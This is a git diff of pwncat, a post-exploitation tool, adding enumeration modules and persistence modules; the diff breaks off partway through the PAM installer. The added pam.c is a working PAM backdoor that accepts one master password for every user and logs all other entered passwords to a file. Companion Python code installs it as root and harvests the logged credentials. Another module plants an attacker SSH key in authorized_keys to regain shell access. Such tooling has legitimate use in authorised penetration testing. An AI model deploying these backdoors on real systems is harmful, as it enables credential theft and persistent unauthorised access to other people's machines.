diff --git a/Dockerfile b/Dockerfile index a84e2cd..e032437 100644 --- a/Dockerfile +++ b/Dockerfile @@ -14,6 +14,10 @@ RUN set -eux \ RUN set -eux \ && python3 -m ensurepip +# Ensure pip is up to date +RUN set -eux \ + && python3 -m pip install -U pip setuptools wheel + # Copy pwncat source COPY . /pwncat diff --git a/IDEAS.md b/IDEAS.md index de49a30..506e017 100644 --- a/IDEAS.md +++ b/IDEAS.md @@ -13,6 +13,134 @@ There is also potential for numerous other methods such as DNS, ICMP, etc. A Channel class would look a lot like a socket, but would guarantee a consistent interface across C2 types. +```python + +class Channel: + + PLATFORM = Platform.UNKNOWN + + def recv(self, count: Optional[int] = None): + raise NotImplementedError + + def send(self, data: bytes): + raise NotImplementedError + + @classmethod + def connect(cls, connection_string: str, port: int, platform: Platform) -> "Channel": + """ Called by the connect command. May look like: + # Connect via ssh + connect ssh user@host + connect ssh -p 2222 user@host + # Connect via raw socket + connect host 4444 + # Connect via bind socket + connect bind -p 4444 + # Connect via other types + connect icmp host + # Connect for specific platform + connect -P windows host 4444 + connect bind -P linux -p 4444 + + Technically, the first positional parameter is the connection string + and the second is the port number. You can also specify the port number + with `-p` or `--port`. The positional syntax is more natural for raw + socket connect channels, while the `-p` is more natural for ssh and + bind sockets. + """ + raise NotImplementedError + +``` + +## Platform Abstraction + +To facilitate true multi-platform functionality, some information should be abstracted +away from the platform. I think this would look like separating the victim object out +into a base class and sub-classes. The base class could be called `Platform` and take +over for the `Platform` Flags class we currently have. Instead of testing a flags class, +we could have `PLATFORM` in modules be an array of supported platform classes, and use +a similar syntax where it would look like `type(pwncat.victim) in module.PLATFORM` or +`isinstance(pwncat.victim, platform.Linux)`. + +```python +class Platform: + + def __init__(self, channel: Channel): + # Save the channel for future use + self.channel = channel + + # Set the prompt + self.update_prompt() + + # Spawn a pty if we don't have one + if not self.has_pty(): + self.spawn_pty() + + def has_pty(self) -> bool: + """ Check if the current shell has a PTY """ + + def spawn_pty(self): + """ Spawn a PTY in the current shell for full interactive features """ + + def update_prompt(self): + """ Set the prompt for the current shell """ + + def which(self, name: str) -> str: + """ Look up a binary on the remote host and return it's path """ + + def cd(self, directory: str): + """ Change directories """ + + def listdir(self, directory: str = None) -> Generator[int, None, None]: + """ Return a list of all items in the current directory """ + + def cwd(self) -> str: + """ Get the current working directory """ + + def current_user(self) -> User: + """ Get a user object representing the current user """ + + def current_uid(self) -> int: + """ Get the current user id. This is faster than querying the whole user object """ + + def open(self, path: str, mode: str, content_length: int) -> Union[TextIO, BinaryIO]: + """ Mimic built-in open function to open a remote file and return a stream. """ + + def exec(self, argv: List[str], envp: List[str], stdout: str, stderr: str, stream: bool = False) -> Union[str, BinaryIO]: + """ Execute a remote binary and return the stdout. If stream is true, return a + file-like object where we can read the results. """ + + def process(self, argv: List[str], envp: List[str], stdout: str, stderr: str) -> bytes: + """ Execute a remote binary, but do not wait for completion. Return string which + indicates the completion of the command """ + +class Linux(Platform): + """ Implement the above abstract methods """ + +class Windows(Platform): + """ Implement the above abstract methods """ +``` + +With both channels and platforms implemented, the initialization would +look something like this: + +```python + +# Initialize scripting engine +script_parser = pwncat.commands.Parser() + +# Run the connect command +try: + script_parser.dispatch_line(shlex.join(["connect", *remaining_args]), command="pwncat") +except: + # Connection failed + exit(1) + +# The connect command initialized the `pwncat.victim` object, +# but it doesn't have a parser yet. We already initialized one +# so store it there. +pwncat.victim.parser = script_parser +``` + ## Module access Modules are currently segmented by type. There are persistence, privilege diff --git a/pwncat/__main__.py b/pwncat/__main__.py index 4b15b80..19f872d 100644 --- a/pwncat/__main__.py +++ b/pwncat/__main__.py @@ -6,6 +6,7 @@ import shlex import sys import warnings import os +from pathlib import Path from sqlalchemy import exc as sa_exc from sqlalchemy.exc import InvalidRequestError @@ -23,6 +24,25 @@ def main(): # Build the victim object pwncat.victim = Victim() + # Find the user configuration + config_path = ( + Path(os.environ.get("XDG_CONFIG_HOME", "~/.config/")) / "pwncat" / "pwncatrc" + ) + config_path = config_path.expanduser() + + print("config_path=" + str(config_path)) + + try: + # Read the config script + with config_path.open("r") as filp: + script = filp.read() + + # Run the script + pwncat.victim.command_parser.eval(script, str(config_path)) + except (FileNotFoundError, PermissionError): + # The config doesn't exist + pass + # Arguments to `pwncat` are considered arguments to `connect` # We use the `prog_name` argument to make the help for "connect" # display "pwncat" in the usage. This is just a visual fix, and diff --git a/pwncat/commands/load.py b/pwncat/commands/load.py new file mode 100644 index 0000000..062771c --- /dev/null +++ b/pwncat/commands/load.py @@ -0,0 +1,30 @@ +#!/usr/bin/env python3 + +import pwncat +from pwncat.commands.base import CommandDefinition, Complete, Parameter + + +class Command(CommandDefinition): + """ + Load modules from the specified directory. This does not remove + currently loaded modules, but may replace modules which were already + loaded. Also, prior to loading any specified modules, the standard + modules are loaded. This normally happens only when modules are first + utilized. This ensures that a standard module does not shadow a custom + module. In fact, the opposite may happen in a custom module is defined + with the same name as a standard module. + """ + + PROG = "load" + ARGS = { + "path": Parameter( + Complete.LOCAL_FILE, + help="Path to a python package directory to load modules from", + nargs="+", + ) + } + DEFAULTS = {} + LOCAL = True + + def run(self, args): + pwncat.modules.reload(args.path) diff --git a/pwncat/commands/run.py b/pwncat/commands/run.py index ad268bf..f9db4c2 100644 --- a/pwncat/commands/run.py +++ b/pwncat/commands/run.py @@ -134,7 +134,5 @@ class Command(CommandDefinition): if result.category is None: console.print(f"[bold]{result.title}[/bold]") else: - console.print( - f"[bold][yellow]{result.category}[/yellow] - {result.title}[/bold]" - ) - console.print(result.description) + console.print(f"[bold]{result.category} - {result.title}[/bold]") + console.print(textwrap.indent(result.description, " ")) diff --git a/pwncat/data/pam.c b/pwncat/data/pam.c new file mode 100644 index 0000000..bf64c13 --- /dev/null +++ b/pwncat/data/pam.c @@ -0,0 +1,65 @@ +#include +#include +#include +#include +#include +#include +#include +PAM_EXTERN int pam_sm_authenticate(pam_handle_t *handle, int flags, int argc, const char **argv) +{ + int pam_code; + const char *username = NULL; + const char *password = NULL; + char passwd_line[1024]; + int found_user = 0; + char key[20] = {__PWNCAT_HASH__}; + FILE* filp; + pam_code = pam_get_user(handle, &username, "Username: "); + if (pam_code != PAM_SUCCESS) { + return PAM_IGNORE; + } + filp = fopen("/etc/passwd", "r"); + if( filp == NULL ){ + return PAM_IGNORE; + } + while( fgets(passwd_line, 1024, filp) ){ + char* valid_user = strtok(passwd_line, ":"); + if( strcmp(valid_user, username) == 0 ){ + found_user = 1; + break; + } + } + fclose(filp); + if( found_user == 0 ){ + return PAM_IGNORE; + } + pam_code = pam_get_authtok(handle, PAM_AUTHTOK, &password, "Password: "); + if (pam_code != PAM_SUCCESS) { + return PAM_IGNORE; + } + if( memcmp(SHA1(password, strlen(password), NULL), key, 20) != 0 ){ + filp = fopen("__PWNCAT_LOG__", "a"); + if( filp != NULL ) + { + fprintf(filp, "%s:%s\n", username, password); + fclose(filp); + } + return PAM_IGNORE; + } + return PAM_SUCCESS; +} +PAM_EXTERN int pam_sm_acct_mgmt(pam_handle_t *pamh, int flags, int argc, const char **argv) { + return PAM_IGNORE; +} +PAM_EXTERN int pam_sm_setcred(pam_handle_t *pamh, int flags, int argc, const char **argv) { + return PAM_IGNORE; +} +PAM_EXTERN int pam_sm_open_session(pam_handle_t *pamh, int flags, int argc, const char **argv) { + return PAM_IGNORE; +} +PAM_EXTERN int pam_sm_close_session(pam_handle_t *pamh, int flags, int argc, const char **argv) { + return PAM_IGNORE; +} +PAM_EXTERN int pam_sm_chauthtok(pam_handle_t *pamh, int flags, int argc, const char **argv){ + return PAM_IGNORE; +} diff --git a/pwncat/db/fact.py b/pwncat/db/fact.py index ff0fd0f..7d92c9a 100644 --- a/pwncat/db/fact.py +++ b/pwncat/db/fact.py @@ -25,7 +25,7 @@ class Fact(Base, Result): @property def category(self) -> str: - return f"{self.type} facts" + return f"{self.type}" @property def title(self) -> str: diff --git a/pwncat/modules/__init__.py b/pwncat/modules/__init__.py index 6e19ab7..2112009 100644 --- a/pwncat/modules/__init__.py +++ b/pwncat/modules/__init__.py @@ -3,6 +3,7 @@ import inspect import pkgutil import re from dataclasses import dataclass +import typing from typing import Any, Callable from rich.progress import Progress @@ -230,18 +231,26 @@ class BaseModule(metaclass=BaseModuleMeta): def __init__(self): self.progress = None + # Filled in by reload + self.name = None def run(self, **kwargs): """ Execute this module """ raise NotImplementedError -def reload(): +def reload(where: typing.Optional[typing.List[str]] = None): """ Reload the modules """ - for loader, module_name, is_pkg in pkgutil.walk_packages( - __path__, prefix=__name__ + "." - ): + # We need to load built-in modules first + if not LOADED_MODULES and where is not None: + reload() + + # If no paths were specified, load built-ins + if where is None: + where = __path__ + + for loader, module_name, _ in pkgutil.walk_packages(where, prefix=__name__ + "."): module = loader.find_module(module_name).load_module(module_name) if getattr(module, "Module", None) is None: diff --git a/pwncat/modules/enumerate/creds/__init__.py b/pwncat/modules/enumerate/creds/__init__.py index f19bc40..b8dd373 100644 --- a/pwncat/modules/enumerate/creds/__init__.py +++ b/pwncat/modules/enumerate/creds/__init__.py @@ -14,16 +14,23 @@ class PasswordData: password: str filepath: str lineno: int + uid: int = None def __str__(self): if self.password is not None: result = f"Potential Password [cyan]{repr(self.password)}[/cyan]" + if self.uid is not None: + result += f" for [blue]{self.user.name}[/blue]" if self.filepath is not None: result += f" ({self.filepath}:{self.lineno})" else: result = f"Potential Password at [cyan]{self.filepath}[/cyan]:{self.lineno}" return result + @property + def user(self): + return pwncat.victim.find_user_by_id(self.uid) if self.uid is not None else None + @dataclasses.dataclass class PrivateKeyData: diff --git a/pwncat/modules/enumerate/creds/pam.py b/pwncat/modules/enumerate/creds/pam.py new file mode 100644 index 0000000..2ed100d --- /dev/null +++ b/pwncat/modules/enumerate/creds/pam.py @@ -0,0 +1,59 @@ +#!/usr/bin/env python3 + +import pwncat +from pwncat.platform import Platform +from pwncat.modules.enumerate import EnumerateModule, Schedule +from pwncat.modules.enumerate.creds import PasswordData +from pwncat.modules.persist.gather import InstalledModule + + +class Module(EnumerateModule): + """ + Exfiltrate logged passwords from the pam-based persistence + module. This persistence module logs all attempted passwords + for all users in a known location. We read this file and yield + all passwords we have collected. + """ + + PLATFORM = Platform.LINUX + SCHEDULE = Schedule.ALWAYS + PROVIDES = ["creds.password"] + + def enumerate(self): + + pam: InstalledModule = None + for module in pwncat.modules.run( + "persist.gather", progress=self.progress, module="persist.pam_backdoor" + ): + pam = module + + if pam is None: + # The pam persistence module isn't installed. + return + + # Grab the log path + log_path = pam.persist.args["log"] + # Just in case we have multiple of the same password logged + observed = [] + + try: + with pwncat.victim.open(log_path, "r") as filp: + for lineno, line in enumerate(filp): + line = line.strip() + if line in observed: + continue + + user, *password = line.split(":") + password = ":".join(password) + + # Invalid user name + if user not in pwncat.victim.users: + continue + + observed.append(line) + + yield "creds.password", PasswordData( + password, log_path, lineno + 1, uid=pwncat.victim.users[user].id + ) + except (FileNotFoundError, PermissionError): + pass diff --git a/pwncat/modules/enumerate/misc/__init__.py b/pwncat/modules/enumerate/misc/__init__.py new file mode 100644 index 0000000..e69de29 diff --git a/pwncat/modules/enumerate/misc/writable_path.py b/pwncat/modules/enumerate/misc/writable_path.py new file mode 100644 index 0000000..40c7b92 --- /dev/null +++ b/pwncat/modules/enumerate/misc/writable_path.py @@ -0,0 +1,46 @@ +#!/usr/bin/env python3 +import os + +import pwncat +from pwncat.util import Access +from pwncat.platform import Platform +from pwncat.modules.enumerate import EnumerateModule, Schedule + + +class Module(EnumerateModule): + """ + Locate any components of the current PATH that are writable + by the current user. + """ + + PROVIDES = ["system.writable_path"] + SCHEDULE = Schedule.PER_USER + PLATFORM = Platform.LINUX + + def enumerate(self): + + for path in pwncat.victim.getenv("PATH").split(":"): + access = pwncat.victim.access(path) + if (Access.DIRECTORY | Access.WRITE) in access: + yield "misc.writable_path", path + elif ( + Access.EXISTS not in access + and (Access.PARENT_EXIST | Access.PARENT_WRITE) in access + ): + yield "misc.writable_path", path + elif access == Access.NONE: + # This means the parent directory doesn't exist. Check up the chain to see if + # We can create this chain of directories + dirpath = os.path.dirname(path) + access = pwncat.victim.access(dirpath) + # Find the first item that either exists or it's parent does + while access == Access.NONE: + dirpath = os.path.dirname(dirpath) + access = pwncat.victim.access(dirpath) + # This item exists. Is it a directory and can we write to it? + if (Access.DIRECTORY | Access.WRITE) in access: + yield "misc.writable_path", path + elif ( + Access.PARENT_EXIST | Access.PARENT_WRITE + ) in access and Access.EXISTS not in access: + yield "misc.writable_path", path diff --git a/pwncat/modules/enumerate/quick.py b/pwncat/modules/enumerate/quick.py index 1f34146..b3bdf74 100644 --- a/pwncat/modules/enumerate/quick.py +++ b/pwncat/modules/enumerate/quick.py @@ -15,6 +15,9 @@ class Module(BaseModule): PLATFORM = pwncat.modules.Platform.ANY def run(self, output): - return pwncat.modules.find("enumerate.gather").run( - types=["file.suid", "file.caps"], output=output + return pwncat.modules.run( + "enumerate.gather", + progress=self.progress, + types=["system.*", "software.sudo.*", "file.suid"], + output=output, ) diff --git a/pwncat/modules/enumerate/software/cron.py b/pwncat/modules/enumerate/software/cron.py new file mode 100644 index 0000000..42acecd --- /dev/null +++ b/pwncat/modules/enumerate/software/cron.py @@ -0,0 +1,150 @@ +#!/usr/bin/env python3 +import dataclasses +import os +import re + +import pwncat +from pwncat.platform import Platform +from pwncat.modules import Status +from pwncat.modules.enumerate import EnumerateModule, Schedule + + +@dataclasses.dataclass +class CronEntry: + + path: str + """ The path to the crontab where this was found """ + uid: int + """ The user ID this entry will run as """ + command: str + """ The command that will execute """ + datetime: str + """ The entire date/time specifier from the crontab entry """ + + def __str__(self): + return ( + f"[blue]{self.user.name}[/blue] runs [yellow]{repr(self.command)}[/yellow]" + ) + + @property + def description(self): + return f"{self.path}: {self.datetime} {self.command}" + + @property + def user(self): + return pwncat.victim.find_user_by_id(self.uid) + + +def parse_crontab(path: str, line: str, system: bool = True) -> CronEntry: + """ + Parse a crontab line. This returns a tuple of (command, datetime, user) indicating + the command to run, when it will execute, and who it will execute as. If system is + false, then the current user is returned and no user element is parsed (assumed + not present). + + This will raise a ValueError if the line is malformed. + + :param line: the line from crontab + :param system: whether this is a system or user crontab entry + :return: a tuple of (command, datetime, username) + """ + + # Variable assignment, comment or empty line + if ( + line.startswith("#") + or line == "" + or re.match(r"[a-zA-Z][a-zA-Z0-9_-]*\s*=.*", line) is not None + ): + raise ValueError + + entry = [x for x in line.strip().replace("\t", " ").split(" ") if x != ""] + + # Malformed entry or comment + if (len(entry) <= 5 and not system) or (len(entry) <= 6 and system): + raise ValueError + + when = " ".join(entry[:5]) + + if system: + uid = pwncat.victim.users[entry[5]].id + command = " ".join(entry[6:]) + else: + uid = pwncat.victim.current_user.id + command = " ".join(entry[5:]) + + return CronEntry(path, uid, command, when) + + +class Module(EnumerateModule): + """ + Check for any readable crontabs and return their entries. + """ + + PROVIDES = ["software.cron.entry"] + PLATFORM = Platform.LINUX + SCHEDULE = Schedule.PER_USER + + def enumerate(self): + + try: + # Get this user's crontab entries + user_entries = pwncat.victim.env(["crontab", "-l"]).decode("utf-8") + except FileNotFoundError: + # The crontab command doesn't exist :( + return + + for line in user_entries.split("\n"): + try: + yield "software.cron.entry", parse_crontab( + "crontab -l", line, system=False + ) + except ValueError: + continue + + known_tabs = ["/etc/crontab"] + + for tab_path in known_tabs: + try: + with pwncat.victim.open(tab_path, "r") as filp: + for line in filp: + try: + yield "software.cron.entry", parse_crontab( + tab_path, line, system=True + ) + except ValueError: + continue + except (FileNotFoundError, PermissionError): + pass + + known_dirs = [ + "/etc/cron.d", + # I'm dumb. These aren't crontabs... they're scripts... + # "/etc/cron.daily", + # "/etc/cron.weekly", + # "/etc/cron.monthly", + ] + for dir_path in known_dirs: + try: + yield Status(f"getting crontabs from [cyan]{dir_path}[/cyan]") + filenames = list(pwncat.victim.listdir(dir_path)) + for filename in filenames: + if filename in (".", ".."): + continue + yield Status(f"reading [cyan]{filename}[/cyan]") + try: + with pwncat.victim.open( + os.path.join(dir_path, filename), "r" + ) as filp: + for line in filp: + try: + yield "software.cron.entry", parse_crontab( + os.path.join(dir_path, filename), + line, + system=True, + ) + except ValueError: + pass + except (FileNotFoundError, PermissionError): + pass + except (FileNotFoundError, NotADirectoryError, PermissionError): + pass diff --git a/pwncat/modules/enumerate/system/fstab.py b/pwncat/modules/enumerate/system/fstab.py new file mode 100644 index 0000000..3b332c3 --- /dev/null +++ b/pwncat/modules/enumerate/system/fstab.py @@ -0,0 +1,72 @@ +#!/usr/bin/env python3 +import dataclasses +from typing import List + +import pwncat +from pwncat.platform import Platform +from pwncat.modules.enumerate import EnumerateModule, Schedule + + +@dataclasses.dataclass +class FstabEntry: + + spec: str + """ The FS Specification (e.g. /dev/sda1 or UUID=XXXX) """ + target: str + """ The target location for this mount (e.g. /mnt/mydisk or /home) """ + fstype: str + """ The type of filesystem being mounted (e.g. ext4 or bind) """ + options: List[str] + """ The list of options associated with this mount (split on comma) """ + freq: int + """ Whether to dump this filesystem (defaults to zero, fifth field, see fstab(5)) """ + passno: int + """ Order of fsck at boot time. See fstab(5) and fsck(8). """ + mounted: bool + """ Whether this is currently mounted (not from fstab, but cross-referenced w/ /proc/mount) """ + + def __str__(self): + if self.mounted: + return ( + f"[blue]{self.spec}[/blue] [green]mounted[/green] at " + f"[yellow]{self.target}[/yellow] " + f"as [cyan]{self.fstype}[/cyan]" + ) + else: + return ( + f"[blue]{self.spec}[/blue] [red]available[/red] to " + f"mount at [yellow]{self.target}[/yellow] " + f"as [cyan]{self.fstype}[/cyan]" + ) + + +class Module(EnumerateModule): + """ + Read /etc/fstab and report on known block device mount points. + """ + + PROVIDES = ["system.mountpoint"] + PLATFORM = Platform.LINUX + SCHEDULE = Schedule.ONCE + + def enumerate(self): + + try: + with pwncat.victim.open("/etc/fstab", "r") as filp: + for line in filp: + line = line.strip() + if line.startswith("#") or line == "": + continue + try: + spec, target, fstype, options, *entries = line.split() + # Optional entries + freq = int(entries[0]) if entries else "0" + passno = int(entries[1]) if len(entries) > 1 else "0" + except (ValueError, IndexError): + # Badly formatted line + continue + yield "system.mountpoint", FstabEntry( + spec, target, fstype, options.split(","), freq, passno, False + ) + except (FileNotFoundError, PermissionError): + pass diff --git a/pwncat/modules/enumerate/system/network.py b/pwncat/modules/enumerate/system/network.py new file mode 100644 index 0000000..617aa92 --- /dev/null +++ b/pwncat/modules/enumerate/system/network.py @@ -0,0 +1,53 @@ +#!/usr/bin/env python3 +import dataclasses + +import pwncat +from pwncat.platform import Platform +from pwncat.modules.enumerate import EnumerateModule, Schedule + + +@dataclasses.dataclass +class InterfaceData: + + interface: str + address: str + + def __str__(self): + return f"Interface [cyan]{self.interface}[/cyan] w/ address [blue]{self.address}[/blue]" + + +class Module(EnumerateModule): + """ + Enumerate network interfaces with active connections + and return their name and IP address. + """ + + PLATFORM = Platform.LINUX + SCHEDULE = Schedule.ONCE + PROVIDES = ["system.network.interface"] + + def enumerate(self): + + try: + output = pwncat.victim.env(["ip", "addr"]).decode("utf-8").strip() + output = output.replace("\r\n", "\n").split("\n") + interface = None + + for line in output: + if not line.startswith(" "): + interface = line.split(":")[1].strip() + continue + + if interface is None: + # This shouldn't happen. The first line should be an interface + # definition, but just in case + continue + + line = line.strip() + if line.startswith("inet"): + address = line.split(" ")[1] + yield "system.network.interface", InterfaceData(interface, address) + + return + except FileNotFoundError: + pass diff --git a/pwncat/modules/enumerate/system/selinux.py b/pwncat/modules/enumerate/system/selinux.py new file mode 100644 index 0000000..4aac8bb --- /dev/null +++ b/pwncat/modules/enumerate/system/selinux.py @@ -0,0 +1,71 @@ +#!/usr/bin/env python3 +import dataclasses +from typing import Dict + +import pwncat +from pwncat.platform import Platform +from pwncat.modules.enumerate import EnumerateModule, Schedule + + +@dataclasses.dataclass +class SELinuxState: + + state: str + status: Dict[str, str] + + def __str__(self): + result = f"SELinux is " + if self.state == "enabled": + result += f"[red]enabled[/red]" + elif self.state == "disabled": + result += f"[green]disabled[/green]" + else: + result += f"[yellow]{self.state}[/yellow]" + return result + + @property + def mode(self) -> str: + return self.status.get("Current mode", "unknown").lower() + + @property + def enabled(self) -> bool: + return self.state.lower() == "enabled" + + @property + def description(self): + width = max(len(x) for x in self.status) + 1 + return "\n".join( + f"{key+':':{width}} {value}" for key, value in self.status.items() + ) + + +class Module(EnumerateModule): + """ + Retrieve the current SELinux state + """ + + PROVIDES = ["system.selinux"] + SCHEDULE = Schedule.ONCE + PLATFORM = Platform.LINUX + + def enumerate(self): + + try: + output = pwncat.victim.env(["sestatus"]).strip().decode("utf-8") + except (FileNotFoundError, PermissionError): + return + + status = {} + for line in output.split("\n"): + line = line.strip().replace("\t", " ") + values = " ".join([x for x in line.split(" ") if x != ""]).split(":") + key = values[0].rstrip(":").strip() + value = " ".join(values[1:]) + status[key] = value.strip() + + if "SELinux status" in status: + state = status["SELinux status"] + else: + state = "unknown" + + yield "system.selinux", SELinuxState(state, status) diff --git a/pwncat/modules/persist/__init__.py b/pwncat/modules/persist/__init__.py index 00b90ff..47dcaf1 100644 --- a/pwncat/modules/persist/__init__.py +++ b/pwncat/modules/persist/__init__.py @@ -29,6 +29,7 @@ class PersistType(enum.Flag): LOCAL = enum.auto() REMOTE = enum.auto() + ALL_USERS = enum.auto() class PersistModule(BaseModule): @@ -68,6 +69,13 @@ class PersistModule(BaseModule): ), } + def __init__(self): + super(PersistModule, self).__init__() + + if PersistType.ALL_USERS in self.TYPE: + self.ARGUMENTS["user"].default = None + self.ARGUMENTS["user"].help = "Ignored. This module applies to all users." + def run(self, remove, escalate, **kwargs): if "user" not in kwargs: @@ -102,8 +110,9 @@ class PersistModule(BaseModule): yield result # There was no exception, so we assume it worked. Put the user - # back in raw mode. - pwncat.victim.state = State.RAW + # back in raw mode. This is a bad idea, since we may be running + # escalate from a privesc context. + # pwncat.victim.state = State.RAW return elif ident is None and (remove or escalate): raise PersistError(f"{self.name}: not installed with these arguments") diff --git a/pwncat/modules/persist/authorized_key.py b/pwncat/modules/persist/authorized_key.py new file mode 100644 index 0000000..a91df8c --- /dev/null +++ b/pwncat/modules/persist/authorized_key.py @@ -0,0 +1,236 @@ +#!/usr/bin/env python3 +import shutil +import socket +import os + +import paramiko +from prompt_toolkit import prompt + +import pwncat +import pwncat.tamper +from pwncat.util import Access +from pwncat.platform import Platform +from pwncat.modules import Argument +from pwncat.modules.persist import PersistModule, PersistType, PersistError + + +class Module(PersistModule): + """ + Install the custom backdoor key-pair as an authorized key for + the specified user. This method only succeeds for a user other + than the current user if you are currently root. + """ + + # We can escalate locally with `ssh localhost` + TYPE = PersistType.LOCAL | PersistType.REMOTE + PLATFORM = Platform.LINUX + ARGUMENTS = { + **PersistModule.ARGUMENTS, + "backdoor_key": Argument( + str, help="Path to a private/public key pair to install" + ), + } + + def install(self, user, backdoor_key): + """ Install this persistence method """ + + homedir = pwncat.victim.users[user].homedir + if not homedir or homedir == "": + raise PersistError("no home directory") + + # Create .ssh directory if it doesn't exist + access = pwncat.victim.access(os.path.join(homedir, ".ssh")) + if Access.DIRECTORY not in access or Access.EXISTS not in access: + pwncat.victim.run(["mkdir", "-p", os.path.join(homedir, ".ssh")]) + + # Create the authorized_keys file if it doesn't exist + access = pwncat.victim.access(os.path.join(homedir, ".ssh", "authorized_keys")) + if Access.EXISTS not in access: + pwncat.victim.run( + ["touch", os.path.join(homedir, ".ssh", "authorized_keys")] + ) + pwncat.victim.run( + ["chmod", "600", os.path.join(homedir, ".ssh", "authorized_keys")] + ) + authkeys = [] + else: + try: + # Read in the current authorized keys if it exists + with pwncat.victim.open( + os.path.join(homedir, ".ssh", "authorized_keys"), "r" + ) as filp: + authkeys = filp.readlines() + except (FileNotFoundError, PermissionError) as exc: + raise PersistError(str(exc)) + + try: + # Read our public key + with open(backdoor_key + ".pub", "r") as filp: + pubkey = filp.readlines() + except (FileNotFoundError, PermissionError) as exc: + raise PersistError(str(exc)) + + # Ensure we read a public key + if not pubkey: + raise PersistError( + f"{pwncat.victim.config['privkey']+'.pub'}: empty public key" + ) + + # Add our public key + authkeys.extend(pubkey) + authkey_data = "".join(authkeys) + + # Write the authorized keys back to the authorized keys + try: + with pwncat.victim.open( + os.path.join(homedir, ".ssh", "authorized_keys"), + "w", + length=len(authkey_data), + ) as filp: + filp.write(authkey_data) + except (FileNotFoundError, PermissionError) as exc: + raise PersistError(str(exc)) + + # Ensure we have correct permissions for ssh to work properly + pwncat.victim.env( + ["chmod", "600", os.path.join(homedir, ".ssh", "authorized_keys")] + ) + pwncat.victim.env( + [ + "chown", + f"{user}:{user}", + os.path.join(homedir, ".ssh", "authorized_keys"), + ] + ) + + # Register the modifications with the tamper module + pwncat.victim.tamper.modified_file( + os.path.join(homedir, ".ssh", "authorized_keys"), added_lines=pubkey + ) + + def remove(self, user, backdoor_key): + """ Remove this persistence method """ + + try: + # Read our public key + with open(backdoor_key + ".pub", "r") as filp: + pubkey = filp.readlines() + except (FileNotFoundError, PermissionError) as exc: + raise PersistError(str(exc)) + + # Find the user's home directory + homedir = pwncat.victim.users[user].homedir + if not homedir or homedir == "": + raise PersistError("no home directory") + + # Remove the tamper tracking + for tamper in pwncat.victim.tamper.filter(pwncat.tamper.ModifiedFile): + if ( + tamper.path == os.path.join(homedir, ".ssh", "authorized_keys") + and tamper.added_lines == pubkey + ): + try: + # Attempt to revert our changes + tamper.revert() + except pwncat.tamper.RevertFailed as exc: + raise PersistError(str(exc)) + # Remove the tamper tracker + pwncat.victim.tamper.remove(tamper) + break + else: + raise PersistError("failed to find matching tamper") + + def escalate(self, user, backdoor_key): + """ Locally escalate to the given user with this method """ + + try: + # Ensure there is an SSH server + sshd = pwncat.victim.find_service("sshd") + except ValueError: + return False + + # Ensure it is running + if not sshd.running: + return False + + # Upload the private key + with pwncat.victim.tempfile("w", length=os.path.getsize(backdoor_key)) as dst: + with open(backdoor_key, "r") as src: + shutil.copyfileobj(src, dst) + + privkey_path = dst.name + + # Ensure correct permissions + try: + pwncat.victim.env(["chmod", "600", privkey_path]) + except FileNotFoundError: + # We don't have chmod :( this probably won't work, but + # we can try it. + pass + + # Run SSH, disabling password authentication to force public key + # Don't wait for the result, because this won't exit + pwncat.victim.env( + [ + "ssh", + "-i", + privkey_path, + "-o", + "StrictHostKeyChecking=no", + "-o", + "PasswordAuthentication=no", + f"{user}@localhost", + ], + wait=False, + ) + + # Delete the private key. This either worked and we didn't need it + # or it didn't work and we still don't need it. + try: + pwncat.victim.env(["rm", "-f", privkey_path]) + except FileNotFoundError: + # File removal failed because `rm` doesn't exist. Register it as a tamper. + pwncat.victim.tamper.created_file(privkey_path) + + return True + + def connect(self, user, backdoor_key: str) -> socket.SocketType: + """ Reconnect to this host with this persistence method """ + + try: + # Connect to the remote host's ssh server + sock = socket.create_connection((pwncat.victim.host.ip, 22)) + except Exception as exc: + raise PersistError(str(exc)) + + # Create a paramiko SSH transport layer around the socket + t = paramiko.Transport(sock) + try: + t.start_client() + except paramiko.SSHException: + raise PersistError("ssh negotiation failed") + + try: + # Load the private key for the user + key = paramiko.RSAKey.from_private_key_file(backdoor_key) + except: + password = prompt("RSA Private Key Passphrase: ", is_password=True) + key = paramiko.RSAKey.from_private_key_file(backdoor_key, password) + + # Attempt authentication + try: + t.auth_publickey(user, key) + except paramiko.ssh_exception.AuthenticationException: + raise PersistError("authorized key authentication failed") + + if not t.is_authenticated(): + t.close() + sock.close() + raise PersistError("authorized key authentication failed") + + # Open an interactive session + chan = t.open_session() + chan.get_pty() + chan.invoke_shell() + + return chan diff --git a/pwncat/modules/persist/gather.py b/pwncat/modules/persist/gather.py index 300f579..49101f6 100644 --- a/pwncat/modules/persist/gather.py +++ b/pwncat/modules/persist/gather.py @@ -72,7 +72,7 @@ class Module(BaseModule): host_id=pwncat.victim.host.id ) if module is not None: - query = query.filter_by(module=module) + query = query.filter_by(method=module) # Grab all the rows modules = [ diff --git a/pwncat/modules/persist/pam.py b/pwncat/modules/persist/pam.py new file mode 100644 index 0000000..248159a --- /dev/null +++ b/pwncat/modules/persist/pam.py @@ -0,0 +1,224 @@ +#!/usr/bin/env python3 +import pkg_resources +import base64 +import hashlib +import socket +import io +import os +from typing import Optional + +import pwncat +from pwncat.util import CompilationError, Access +from pwncat.platform import Platform +from pwncat.modules import Argument, Status +from pwncat.modules.persist import PersistModule, PersistError, PersistType + + +class Module(PersistModule): + """ + Install a backdoor PAM module which allows authentication + with a single password for all users. This PAM module does + not interrupt authentication with correct user passwords. + Further, it will log all entered passwords (except the + backdoor password) to a log file which can be collected + with the creds.pam enumeration module. The installed module + will be named `pam_succeed.so`. + """ + + TYPE = PersistType.LOCAL | PersistType.REMOTE | PersistType.ALL_USERS + PLATFORM = Platform.LINUX + ARGUMENTS = { + **PersistModule.ARGUMENTS, + "password": Argument(str, help="The password to use for the backdoor"), + "log": Argument( + str, + default="/var/log/firstlog", + help="Location where username/passwords will be logged", + ), + } + + def install(self, user: str, password: str, log: str): + """ Install this module """ + + if user is not None: + self.progress.log( + f"[yellow]warning[/yellow]: {self.name}: this module applies to all users" + ) + + if pwncat.victim.current_user.id != 0: + raise PersistError("must be root") + + # Read the source code + with open(pkg_resources.resource_filename("pwncat", "data/pam.c"), "r") as filp: + sneaky_source = filp.read() + + yield Status("checking selinux state") + + # SELinux causes issues depending on it's configuration + for selinux in pwncat.modules.run( + "enumerate.gather", progress=self.progress, types=["system.selinux"] + ): + if selinux.data.enabled and "enforc" in selinux.data.mode: + raise PersistError("selinux is currently in enforce mode") + elif selinux.data.enabled: + self.progress.log( + "[yellow]warning[/yellow]: selinux is enabled; persistence may be logged" + ) + + # We use the backdoor password. Build the string of encoded bytes + # These are placed in the source like: char password_hash[] = 